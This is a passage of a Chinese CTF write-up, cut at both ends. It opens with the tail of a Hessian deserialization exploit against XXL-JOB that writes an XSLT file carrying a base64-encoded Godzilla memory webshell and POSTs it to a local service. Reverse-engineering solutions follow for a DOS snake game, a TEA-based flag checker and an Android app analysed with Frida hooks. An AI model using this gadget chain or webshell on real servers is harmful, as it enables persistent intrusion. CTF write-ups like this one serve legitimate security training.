RW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAJZ2V0U2Vy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";

        String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", "com.xxl.job.core.JettyGodzillaMemshell");

        SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/aaa.xslt", xslt.getBytes()});

        SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/aaa.xslt"}});


        Object[] keyValueList = new Object[]{"abc", swingLazyValue};

        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};

        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);

        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);

        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);

        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);

        Hashtable<Object, Object> hashtable1 = new Hashtable<>();

        Hashtable<Object, Object> hashtable2 = new Hashtable<>();

        Hashtable<Object, Object> hashtable3 = new Hashtable<>();

        Hashtable<Object, Object> hashtable4 = new Hashtable<>();

        hashtable1.put("a", uiDefaults1);

        hashtable2.put("a", uiDefaults2);

        hashtable3.put("b", uiDefaults3);

        hashtable4.put("b", uiDefaults4);

        Object gettable = hessian_demo_main.gettable(hashtable1, hashtable2, hashtable3, hashtable4);

        HessianSerializer serializer = new HessianSerializer();

//        byte[] data = serializer.serialize(xxlRpcRequest);

        ByteArrayOutputStream os = new ByteArrayOutputStream();

        Hessian2Output ho = new Hessian2Output(os);

        byte[] var5;

        SerializerFactory serializerFactory = ho.getSerializerFactory();

        serializerFactory.setAllowNonSerializable(true);

        ho.setSerializerFactory(serializerFactory);

        ho.writeObject(gettable);

        ho.flush();

        byte[] result = os.toByteArray();

        var5 = result;

        String shellcode = sendPostRequest("http://127.0.0.1:21000/run", var5);

        System.out.println(shellcode);


    }

}

最终哥斯拉直接x-fuck-data:godzilla就可以连接哥斯拉了。


REVERSE

题目:DosSnake

解题步骤

  1. 汇编语言分析
    反编译之后发现是很长的汇编语言
    并且发现是dos系统的程序,使用DOSbox运行之后发现是一个贪吃蛇小游戏,那么我们只需要找到长度比较点就可以了
  2. 长度比较点分析
 83 C6 02                      add     si, 2
seg002:011A 8B CE                         mov     cx, si
seg002:011C 83 E9 04                      sub     cx, 4
seg002:011F D1 E9                         shr     cx, 1
seg002:0121 83 F9 58                      cmp     cx, 88
seg002:0124 75 03                         jnz     short loc_104A9

最后发现此处长度比较,我们将他改为5然后运行程序玩一下就可以得到flag

  1. 逻辑解密
         mov     cx, 20h ; ' '
seg002:025F 8D 36 2A 03                   lea     si, aDasctf+6                   ; ""
seg002:0263 8D 3E 24 03                   lea     di, aDasctf                     ; "DASCTF"
seg002:0263
seg002:0267
seg002:0267                               loc_105E7:                              ; CODE XREF: sub_105DC:loc_105F9↓j
seg002:0267 8A 04                         mov     al, [si]
seg002:0269 32 05                         xor     al, [di]
seg002:026B 88 04                         mov     [si], al
seg002:026D 46                            inc     si
seg002:026E 47                            inc     di
seg002:026F 81 FF 2A 03                   cmp     di, 32Ah
seg002:0273 75 04                         jnz     short loc_105F9

可以发现是
DASCTF
与unsigned char ida_chars[] ={ 0, 0, 0, 0, 0, 63, 9, 99, 52, 50, 19, 42, 47, 42, 55, 60, 35, 0, 46, 32, 16, 58, 39, 47, 36, 58, 48, 117, 103, 101, 60, 0, 0, 0, 0, 0, 0};
循环异或,异或回去则可以拿到flag

题目:Strangeprograme

解题步骤

  1. IDA查看代码main函数如下:
int sub_4153E0()
{
  int v0; // eax

  sub_4114D8(&unk_4250F3);
  v0 = sub_41126C(std::cout, "Please input flag");
  std::ostream::operator<<(v0, &sub_411055);
  sub_411384();
  sub_4115AA(std::cin, &unk_422580);
  if ( !j_memcmp(&unk_422580, aDasctfIAmFakeB, 0x100u) )
    puts("Right!");
  else
    puts("Wrong!");
  sub_411384();
  return 0;
}

发现就一个memcmp,比较了一个fake flag
DASCTF{I'am Fake But Why Look Like real?}显然是假的
那么可以肯定的就是memcmp被动了手脚
那么我们使用附加调试,在memcmp上下断点,就可以发现memcmp的IAT表被修改了,属于IATHOOK

  1. Memcmp内容分析:
    附加调试之后找到的memcmp真正的逻辑如下:
__int64 __cdecl sub_41D250(char *Str)
{
  __int64 v1; // rax
  __int64 v3; // [esp-8h] [ebp-24Ch]
  int j; // [esp+D0h] [ebp-174h]
  size_t i; // [esp+F4h] [ebp-150h]
  char *v6; // [esp+100h] [ebp-144h]
  int v7; // [esp+124h] [ebp-120h] BYREF
  int v8; // [esp+128h] [ebp-11Ch]
  int v9; // [esp+12Ch] [ebp-118h]
  int v10; // [esp+130h] [ebp-114h]
  char v11[260]; // [esp+13Ch] [ebp-108h] BYREF
  int savedregs; // [esp+244h] [ebp+0h] BYREF

  sub_4114D8(&unk_4250F3);
  v11[0] = -7;
  v11[1] = 77;
  v11[2] = 43;
  v11[3] = -68;
  v11[4] = 19;
  v11[5] = -35;
  v11[6] = 19;
  v11[7] = 98;
  v11[8] = -55;
  v11[9] = -4;
  v11[10] = -1;
  v11[11] = -119;
  v11[12] = 125;
  v11[13] = 79;
  v11[14] = -55;
  v11[15] = 15;
  v11[16] = 99;
  v11[17] = 29;
  v11[18] = 109;
  v11[19] = 82;
  v11[20] = 80;
  v11[21] = -3;
  v11[22] = 65;
  v11[23] = -29;
  v11[24] = 51;
  v11[25] = 118;
  v11[26] = 40;
  v11[27] = -105;
  v11[28] = 56;
  v11[29] = 54;
  v11[30] = -7;
  v11[31] = 107;
  v11[32] = -112;
  v11[33] = 57;
  v11[34] = 20;
  v11[35] = -125;
  v11[36] = 44;
  v11[37] = -30;
  v11[38] = 44;
  v11[39] = 31;
  memset(&v11[40], 0, 216);
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  if ( j_strlen(Str) == 40 )
  {
    v6 = Str + 4;
    v7 = *Str;
    v8 = *(Str + 1);
    sub_411541(&v7, &unk_422100);
    *Str = v7;
    *(Str + 1) = v8;
    for ( i = 2; i < j_strlen(Str) >> 2; i += 2 )
    {
      sub_411541(&v7, &unk_422100);
      *Str = v7;
      *v6 = v8;
      *&Str[4 * i] ^= *Str;
      *&Str[4 * i + 4] ^= *v6;
    }
    for ( j = 0; j < 40; ++j )
    {
      HIDWORD(v1) = j;
      if ( Str[j] != v11[j] )
      {
        LODWORD(v1) = 1;
        goto LABEL_12;
      }
    }
    LODWORD(v1) = 0;
  }
  else
  {
    LODWORD(v1) = 1;
  }
LABEL_12:
  v3 = v1;
  sub_41130C(&savedregs, &unk_41D5CC);
  return v3;
}

int __cdecl sub_41D6F0(unsigned int *a1, _DWORD *a2)
{
  int result; // eax
  unsigned int i; // [esp+DCh] [ebp-2Ch]
  int v4; // [esp+E8h] [ebp-20h]
  unsigned int v5; // [esp+F4h] [ebp-14h]
  unsigned int v6; // [esp+100h] [ebp-8h]

  sub_4114D8(&unk_4250F3);
  v6 = *a1;
  v5 = a1[1];
  v4 = 0;
  for ( i = 0; i < 0x10; ++i )
  {
    v6 += (a2[1] + (v5 >> 5)) ^ (v4 + v5) ^ (*a2 + 16 * v5);
    v5 += (a2[3] + (v6 >> 5)) ^ (v4 + v6) ^ (a2[2] + 16 * v6);
    v4 -= 1640531527;
  }
  *a1 = v6;
  result = 4;
  a1[1] = v5;
  return result;
}

发现主要逻辑是tea
逻辑还原如下:

#include<cstdio>

#include<cmath>

#include<map>

#include<vector>

#include<queue>

#include<stack>

#include<set>

#include<string>

#include<cstring>

#include<list>

#include<stdlib.h>

using namespace std;

typedef int status;

typedef int selemtype;


unsigned int Key[7] = {0x12345678, 0x09101112, 0x13141516, 0x15161718};




void tea_encrypt(uint32_t *v, uint32_t *k) {

    printf("%X %X\n",v[0],v[1]);

    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;

    uint32_t delta = 0x61C88647;


    for (i = 0; i < 16; i++) {

        v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);

        v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);

        sum -= delta;

    }


    v[0] = v0;

    v[1] = v1;

}


unsigned char Cipher[256] = "asdasdasdsadsadsadasd";

unsigned int Tmp[4] = {0};

int main() {

    unsigned int *p1 = (unsigned int *)(Cipher);

    unsigned int *p2 = (unsigned int *)(Cipher + 4);

    printf("%s\n", Cipher);

    

    Tmp[0] = *p1, Tmp[1] = *p2;

    tea_encrypt(Tmp, Key);

    printf("%X %X\n", *p1, *p2);

    *p1 = Tmp[0];

    *p2 = Tmp[1];

    for (int i = 2 ; i < strlen((char*) Cipher) / 4 ; i += 2 ) {

        tea_encrypt(Tmp, Key);

        

        *p1 = Tmp[0];

        *p2 = Tmp[1];

//        printf("%X %X\n", *p1, *p2);

        unsigned int *p3 = (unsigned int *)(Cipher + i * 4);

        unsigned int *p4 = (unsigned int *)(Cipher + i * 4 + 4);

        *p3 ^= *p1;

        *p4 ^= *p2;

    };

    for (int i = 0 ; i < 40 ; i ++ ) {

        printf("0x%X,", Cipher[i]);

    }


}

就可以写出相应的EXP:
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <iostream>

using namespace std;

unsigned int Key[6] = {0x12345678, 0x09101112, 0x13141516, 0x15161718};

void tea_decrypt(uint32_t *v, uint32_t *k) {
//    printf("%X %X\n",v[0],v[1]);
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
    uint32_t delta = 0x61C88647;
    for (int i = 0 ; i < 16 ; i ++ ) sum -= 0x61C88647;
    for (i = 0; i < 16; i++) {
        sum += delta;
        v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
        v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);

    }

    v[0] = v0;
    v[1] = v1;
}



unsigned int Tmp[4] = {0};

int main() {
    unsigned char EncryptedCipher[45] = {
        0xF9, 0x4D, 0x2B, 0xBC, 0x13, 0xDD, 0x13, 0x62,
        0xC9, 0xFC, 0xFF, 0x89, 0x7D, 0x4F, 0xC9, 0x0F,
        0x63, 0x1D, 0x6D, 0x52, 0x50, 0xFD, 0x41, 0xE3,
        0x33, 0x76, 0x28, 0x97, 0x38, 0x36, 0xF9, 0x6B,
        0x90, 0x39, 0x14, 0x83, 0x2C, 0xE2, 0x2C, 0x1F, 0
    };
    unsigned int *p1 = (unsigned int *)(EncryptedCipher);
    unsigned int *p2 = (unsigned int *)(EncryptedCipher + 4);
    for (int i = 8 ; i >= 2 ; i -= 2) {

        unsigned int *p3 = (unsigned int *)(EncryptedCipher + i * 4);
        unsigned int *p4 = (unsigned int *)(EncryptedCipher + i * 4 + 4);
        *p3 ^= *p1;
        *p4 ^= *p2;
        puts((char*)EncryptedCipher);
        Tmp[0] = *p1, Tmp[1] = *p2;
        tea_decrypt(Tmp, Key);
        *p1 = Tmp[0], *p2 = Tmp[1];

    }
    Tmp[0] = *p1, Tmp[1] = *p2;
    tea_decrypt(Tmp, Key);
    *p1 = Tmp[0], *p2 = Tmp[1];
    puts((char*)EncryptedCipher);

}

题目:BabyAndroid

解题步骤

  1. 初步分析
    首先运行APK正如描述所说是一个APK文件,一般这种,我们很难找代码,描述中说到过程序存在发包功能,那我们使用一下程序保存发现拦截到了如下数据包:
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 11; M2004J7AC Build/RP1A.200720.011)
Host: yuanshen.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 49

data=5SxJF2QOBphluhtPmIZrD0iqGnYQc6tI1EFvcyrMo8g=

参数和Respoonse.txt中给出的一致,那么肯定是加密上传了,那么我们只需要打印java.net.HttpURLConnection; okhttp3.Response;java.net.HttpURLConnection的调用栈,就可以看到蛛丝马迹HOOK代码:

Java.perform(function() {

    // Hook URL.openConnection()

    var URL = Java.use("java.net.URL");

    URL.openConnection.overload().implementation = function() {

        console.log("URL.openConnection() called");

        var result = this.openConnection();

        printStackTrace();

        return result;

    };


    // Hook HttpURLConnection.connect()

    var HttpURLConnection = Java.use("java.net.HttpURLConnection");

    HttpURLConnection.connect.implementation = function() {

        console.log("HttpURLConnection.connect() called");

        printStackTrace();

        return this.connect();

    };


    // Hook HttpURLConnection.getOutputStream()

    HttpURLConnection.getOutputStream.implementation = function() {

        console.log("HttpURLConnection.getOutputStream() called");

        printStackTrace();

        return this.getOutputStream();

    };


    // Hook HttpURLConnection.getInputStream()

    HttpURLConnection.getInputStream.implementation = function() {

        console.log("HttpURLConnection.getInputStream() called");

        printStackTrace();

        return this.getInputStream();

    };




    function printStackTrace() {

        var stackTrace = Java.use("java.lang.Thread").currentThread().getStackTrace();

        console.log("Stack trace:");

        for (var i in stackTrace) {

            console.log(stackTrace[i].toString());

        }

    }


      // Hook okhttp3.OkHttpClient and related methods

    var OkHttpClient = Java.use("okhttp3.OkHttpClient");

    var Call = Java.use("okhttp3.Call");

    var Request = Java.use("okhttp3.Request");

    var Response = Java.use("okhttp3.Response");


    // Hook OkHttpClient.newCall

    OkHttpClient.newCall.overload('okhttp3.Request').implementation = function(request) {

        console.log("OkHttpClient.newCall() called with request: " + request);

        printStackTrace();

        return this.newCall(request);

    };


    // Hook Call.execute

    Call.execute.implementation = function() {

        console.log("Call.execute() called");

        printStackTrace();

        return this.execute();

    };


    // Hook Response.body

    Response.body.implementation = function() {

        console.log("Response.body() called");

        printStackTrace();

        return this.body();

    };


});

发现如下调用栈:

[M2004J7AC::NoteX ]-> URL.openConnection() called

Stack trace:

dalvik.system.VMStack.getThreadStackTrace(Native Method)

java.lang.Thread.getStackTrace(Thread.java:1736)

java.net.URL.openConnection(Native Method)

site.qifen.note.model.sendRequest.sendPost(sendRequest.java:19)

site.qifen.note.ui.NoteActivity$EncryptAndSendTask.doInBackground(NoteActivity.java:192)

site.qifen.note.ui.NoteActivity$EncryptAndSendTask.doInBackground(NoteActivity.java:174)

android.os.AsyncTask$3.call(AsyncTask.java:394)

java.util.concurrent.FutureTask.run(FutureTask.java:266)

android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:305)

java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)

java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)

java.lang.Thread.run(Thread.java:923)

[Ljava.lang.StackTraceElement;@31cb859

function p() {

    [native code]

}

  1. 代码分析
    看完调用栈,我们发现,主要是在site.qifen.note.ui.NoteActivity,接下来我们就可以开始反编译了
 private class EncryptAndSendTask extends AsyncTask<String, Void, String> {
        private EncryptAndSendTask() {
        }

        /* JADX INFO: Access modifiers changed from: protected */
        @Override // android.os.AsyncTask
        public String doInBackground(String... params) {
            String contentText = params[0];
            try {
                byte[] dexData = NoteActivity.this.loadData("Sex.jpg");
                ByteBuffer dexBuffer = ByteBuffer.wrap(dexData);
                InMemoryDexClassLoader classLoader = null;
                if (Build.VERSION.SDK_INT >= 26) {
                    classLoader = new InMemoryDexClassLoader(dexBuffer, NoteActivity.this.getClassLoader());
                }
                Class<?> checkerClass = classLoader.loadClass("site.qifen.note.ui.Encrypto");
                Method checkMethod = checkerClass.getMethod("encrypt", String.class);
                NoteActivity.this.contentText_back = contentText;
                String cipher = (String) checkMethod.invoke(checkerClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]), NoteActivity.this.sendInit(contentText));
                String response = sendRequest.sendPost("http://yuanshen.com/", "data=" + cipher);
                Log.d("JNITest", "Server Response: " + response);
                return cipher;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }

        /* JADX INFO: Access modifiers changed from: protected */
        @Override // android.os.AsyncTask
        public void onPostExecute(String cipher) {
            if (cipher != null) {
                String titleText = NoteActivity.this.noteWriteTitleEdit.getText().toString();
                String tagText = NoteActivity.this.noteWriteTagEdit.getText().toString();
                String date = new SimpleDateFormat(DatePattern.NORM_DATETIME_MINUTE_PATTERN).format(new Date());
                if (NoteActivity.this.note == null) {
                    NoteActivity.this.noteDao.insertNote(new Note(tagText, titleText, NoteActivity.this.contentText_back, date, false));
                    NoteUtil.toast("保存成功");
                    NoteActivity.this.finish();
                    return;
                }
                NoteActivity.this.note.setTitle(titleText);
                NoteActivity.this.note.setContent(NoteActivity.this.contentText_back);
                NoteActivity.this.note.setDate(date);
                NoteActivity.this.note.setTag(NoteActivity.this.contentText_back);
                NoteActivity.this.noteDao.updateNote(NoteActivity.this.note);
                NoteUtil.toast("修改成功");
                NoteActivity.this.finish();
                return;
            }
            NoteUtil.toast("加密失败");
        }
    }

根据调用栈我们定位到上面代码,可以发现他从Sex.jpg中加载了一个site.qifen.note.ui.Encrypto类,来加密从从Native层方法sendInit返回的字符串。既然这样,我们需要想办法得到Dex的内容
直接Hook Loaddata

let NoteActivity = Java.use("site.qifen.note.ui.NoteActivity");

NoteActivity["loadData"].implementation = function (str) {

    console.log(`NoteActivity.loadData is called: str=${str}`);

    let result = this["loadData"](str);

    console.log(`NoteActivity.loadData result=${result}`);

    return result;

};

将输出的bytes保存为一个新的Dex文件即可。或者我们分析发现程序是RC4解密的Sex.jpg

 public byte[] loadData(String str) {

        try {

            InputStream open = getAssets().open(str);

            byte[] encryptedData = new byte[open.available()];

            open.read(encryptedData);

            open.close();

            byte[] key = "DASCTF".getBytes();

            return rc4Decrypt(key, encryptedData);

        } catch (IOException e) {

            Log.e("错误", "加载数据时发生错误", e);

            return null;

        }

    }


    private byte[] rc4Decrypt(byte[] key, byte[] data) {

        int[] S = new int[256];

        for (int i = 0; i < 256; i++) {

            S[i] = i;

        }

        int j = 0;

        for (int i2 = 0; i2 < 256; i2++) {

            j = ((S[i2] + j) + (key[i2 % key.length] & UByte.MAX_VALUE)) % 256;

            int temp = S[i2];

            S[i2] = S[j];

            S[j] = temp;

        }

        int i3 = data.length;

        byte[] result = new byte[i3];

        int i4 = 0;

        int j2 = 0;

        for (int k = 0; k < data.length; k++) {

            i4 = (i4 + 1) % 256;

            j2 = (S[i4] + j2) % 256;

            int temp2 = S[i4];

            S[i4] = S[j2];

            S[j2] = temp2;

            int t = (S[i4] + S[j2]) % 256;

